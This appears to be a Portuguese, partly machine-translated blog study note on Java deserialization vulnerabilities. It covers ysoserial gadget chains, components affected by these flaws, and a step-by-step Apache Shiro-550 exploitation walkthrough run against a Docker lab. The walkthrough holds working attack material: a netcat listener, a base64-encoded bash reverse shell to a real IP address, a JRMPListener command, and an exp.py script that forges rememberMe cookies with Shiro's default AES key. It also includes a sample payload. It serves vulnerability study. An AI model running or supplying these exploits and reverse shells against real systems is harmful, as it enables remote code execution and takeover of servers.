Mecanismo de desserialização JAVA
Java salva o objeto como um fluxo de dados binários por meio da serialização writeObject e desserializa o binário serializado em um objeto Java por meio da desserialização readObject. do readObject que pode ser explorado de forma maliciosa
FileInputStream fileIn = new FileInputStream('1.bin')
ObjectInputStream in = new ObjectInputStream(fileIn)
e = (Employee) in.readObject();
princípio de vulnerabilidade
Tome uma demonstração simples como exemplo
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class demo1{
public static void main(String args[]) throws Exception{
//定义myObj对象
MyObject myObj = new MyObject();
myObj.name = "hi";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class MyObject implements Serializable {
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
String [] cmd={
"cmd","/C","calc"};
// windows下执行此命令,linux->open /Applications/Calculator.app/
Runtime.getRuntime().exec(cmd);
}
}
Somente quando java.io.Serializable é implementado ele pode ser desserializado, e todas as propriedades devem ser serializáveis (exceto as propriedades modificadas com a palavra-chave transient, que não participará da desserialização)
A função é reescrita readObject()
e o comportamento da desserialização é personalizado. Ao desserializar, readObject será chamado primeiro, assim como o PHP chama __weakup ao desserializar
ac ed 00 05
É a característica do conteúdo serializado java. Se for codificado em base64, então o correspondente érO0AB
O Java tem uma rica biblioteca de classes de terceiros e a desserialização do Java é causada principalmente por problemas de segurança de sua biblioteca de classes
explorar
ysoserial
https://github.com/frohoff/ysoserial/
Uma ferramenta de prova de conceito para gerar cargas úteis que exploram a desserialização insegura de objetos Java
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Problema de codificação Base64: como o Windows não pode usar o caractere pipe na linha de comando simples para base, é recomendável usar Linux e adicionar comandos ao gerar base64 para garantir que ele não seja agrupado automaticamente
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "cmd /c calc" |base64 -w0
# 还需要进行一次 url 编码
Em relação ao uso de comandos do Windows, você pode consultar o link
http://jackson-t.ca/runtime-exec-payloads.html
Os comandos codificados de carga útil podem ser encontrados neste site
Dispositivo
-
CommonsCollection
1-10 corresponde à versão cc
-
CommonsBeanUtils
Exploração em shiro721
-
JRMP
JRMPClientName
JRMPListenerName
-
URLDNS
-
JNDI
JNDI (Java Naming and Directory Interface) é uma API de programação de aplicativos que fornece aos desenvolvedores uma interface comum e unificada para localizar e acessar vários serviços de nomenclatura e diretório. Os serviços suportados pelo JNDI incluem principalmente os seguintes: DNS, LDAP, serviço de objetos CORBA, RMI, etc.
Componentes Java afetados por isso
- Shiro: Apache Shiro é uma estrutura de segurança de código aberto poderosa e flexível que lida totalmente com autenticação, autorização, criptografia e gerenciamento de sessão
- Weblogic: Para ser mais preciso, é um middleware baseado na arquitetura JAVAEE.WebLogic é um servidor de aplicativos Java para desenvolvimento, integração, implantação e gerenciamento de aplicativos da Web distribuídos em grande escala, aplicativos de rede e aplicativos de banco de dados.
- Fastjson/jackson: É uma biblioteca Java que pode converter objetos Java em formato JSON e, claro, também pode converter strings JSON em objetos Java
- Apereo Cas: CAS é uma solução empresarial de logon único multilíngue para a web e tenta ser uma plataforma abrangente para suas necessidades de autenticação e autorização
- JDBC: JDBC é a abreviação de Java DataBase Connectivity. É uma interface padrão para programas Java acessarem o banco de dados. Ao usar programas Java para acessar o banco de dados, o código Java não acessa diretamente o banco de dados através da conexão TCP, mas através do Interface JDBC e a interface JDBC Realize o acesso ao banco de dados por meio do driver JDBC
- XMLDecoder: usado para desserializar o conteúdo do documento XML criado pelo XMLEncoder em um objeto Java, localizado no pacote java.beans
- Yaml: Yaml é um formato altamente legível usado para expressar a serialização de dados. É semelhante ao XML, mas mais conciso que o XML. Em Java, existe uma biblioteca para analisar o formato YAML, chamada SnakeYaml, que é um YAML1 .1 Standardize Processor completo, suporte UTF-8/UTF-16, suporte a serialização/desserialização de objetos Java e suporte a todos os tipos definidos por YAML
- XStream: XStream é uma biblioteca de classes Java usada para serializar objetos em XML (JSON) ou desserializá-los em objetos
- Websphere: IBM WebSphere® Application Server Community Edition (WASCE) é uma plataforma leve Java 2, Enterprise Edition (J2EE) desenvolvida no Apache Geronimo, o projeto de servidor de aplicativos de software livre do servidor de aplicativos Apache Software Foundation
- JBoos: É um servidor de aplicações open source baseado em J2EE.JBoss é um container e servidor que gerencia EJB, e suporta as especificações de EJB 1.1, EJB 2.0 e EJB3. No entanto, os serviços principais do JBoss não incluem contêineres WEB que suportam servlet/JSP e geralmente são usados em conjunto com Tomcat ou Jetty
- Jenkins: É uma ferramenta de integração contínua (CI) de código aberto que fornece uma interface de operação amigável. É usado principalmente para construção/teste contínuo e automático de projetos de software e monitoramento da operação de tarefas externas. Jenkins é escrito em linguagem Java e pode ser usado no Tomcat e outros populares Ele pode ser executado em um contêiner de servlet ou executado de forma independente. Geralmente usado em conjunto com ferramentas de gerenciamento de versão (SCM), ferramentas de construção. As ferramentas de controle de versão comumente usadas incluem SVN, GIT e as ferramentas de compilação incluem Maven, Ant e Gradle
- Dubbo: Uma estrutura de serviço excelente e de alto desempenho de código aberto da Alibaba, que permite que os aplicativos implementem funções de entrada e saída de serviço por meio de RPC de alto desempenho e pode ser perfeitamente integrado à estrutura Spring
- Claro que existem outros componentes
Shiro desserialização
Apache Shiro é uma estrutura de segurança Java poderosa e fácil de usar que executa autenticação, autorização, senha e gerenciamento de sessão
Recurso de impressão digital padrão da estrutura Shiro
Atribua qualquer valor ao campo ?rememberMe no Cookie do pacote de solicitação, e o campo ?rememberMe=deleteMe? existe no Set-Cookie do pacote de retorno recebido, indicando que o destino usa a estrutura Shiro e pode ser testado posteriormente
shiro-550
princípio de vulnerabilidade
A estrutura Apache Shiro fornece a função de lembrar de mim (RememberMe). Quando uma solicitação de usuário não autenticado é recebida, as seguintes ações serão executadas
- Extraia o valor do campo RememberMe no Cookie do pacote de solicitação
- Base64 decodifica o valor do cookie extraído
- AES decodifica o valor decodificado base64
- Chame o método ObjectInputStream.readObject() na matriz de bytes descriptografada para desserializá-la
O problema é que no Shiro 1.2.4 e versões anteriores , a chave de criptografia AES é codificada no código por padrão. Se o servidor usar a chave de criptografia padrão, o invasor pode construir um objeto malicioso e executar código arbitrário
explorar
O ambiente é construído com docker
# 获取docker镜像
docker pull medicean/vulapps:s_shiro_1
# 启动docker,注意端口是否在安全组中打开
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
Visite IP: porta, esta página foi construída com sucesso
Existem muitas ferramentas gráficas, como link , mas para entender melhor a vulnerabilidade, use-a passo a passo
Verifique se a chave padrão existe
Ferramenta: https://github.com/insightglacier/Shiro_exploit
pip install pycryptodome
python .\shiro_exploit.py -u http://url:port
explorar
1. Ouça a porta 9999 no vps
nc -lvvp 9999
O shell usado para receber bounces
2. Por meio do módulo de monitoramento JRMP em ysoserial, monitore a porta 6666 e execute o comando rebound shell
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'
# 其中 base 编码通过 http://www.jackson-t.ca/runtime-exec-payloads.html 网站编码,注意此处和端口为上一步 vps 监听端口
bash -i >& /dev/tcp/121.196.173.254/9999 0>&1
bash -c {
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{
base64,-d}|{
bash,-i}
3. Use o script exp.py modificado para gerar carga útil
python2 .\exp.py 121.196.173.254:6666
# 注意 exp.py 和 ysoserial 要在同一目录,端口是 jrmp 监听端口,生成 payload
rememberMe=deeUXLJaTn+VopkZgKIWVLd7QRdd+x74oPuD6ThOle3otoxxGCfgZQe6Hc6lQZYh+n1i6MmtqB3YYX7fa6Gezwhf6IXZ8FSAR+cpbL7+mIKEpblcXnO9UQTE5VcnDJxXeYS46PgTmHl2Am+acrGLnNBPdpUcyUppXq1PvAK6NEB63kPOpgQPR0fNJGcx1lwZW/ZZh5A70bz+0BuB+VUXy0IO3CxVzsqx+4TH9vEaYEcgFoEgNpHjbLlOV7sSCXwNzjx1dUUAJ2se3Vg2yTDOCqqf0TW4l8KqbFIWIhtnngKX/kcW2Dpjay0aoqkXRs9chL1bSMaX39Uh+x97KBrqnDJAf3oCl80ItwwP3bQyqSix08d8gipHftzHATVNMRR90hhoF3S4Tfvq/xhky8Znzw==
exp.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
4. Construir pacotes de dados, forjar cookies e enviar Payload
Recupere o shell com sucesso
Não apenas esse tipo de método de exploração, você também pode executar comandos diretamente, também há a vulnerabilidade Shiro 721, você pode ler este artigo Link , Link2
Rencai precisa aprender mais, desta vez é apenas um simples estudo de desserialização Java, continue trabalhando duro